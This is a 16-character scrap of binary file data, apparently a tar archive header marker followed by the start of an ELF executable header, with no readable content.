0 ustar 00 ELF >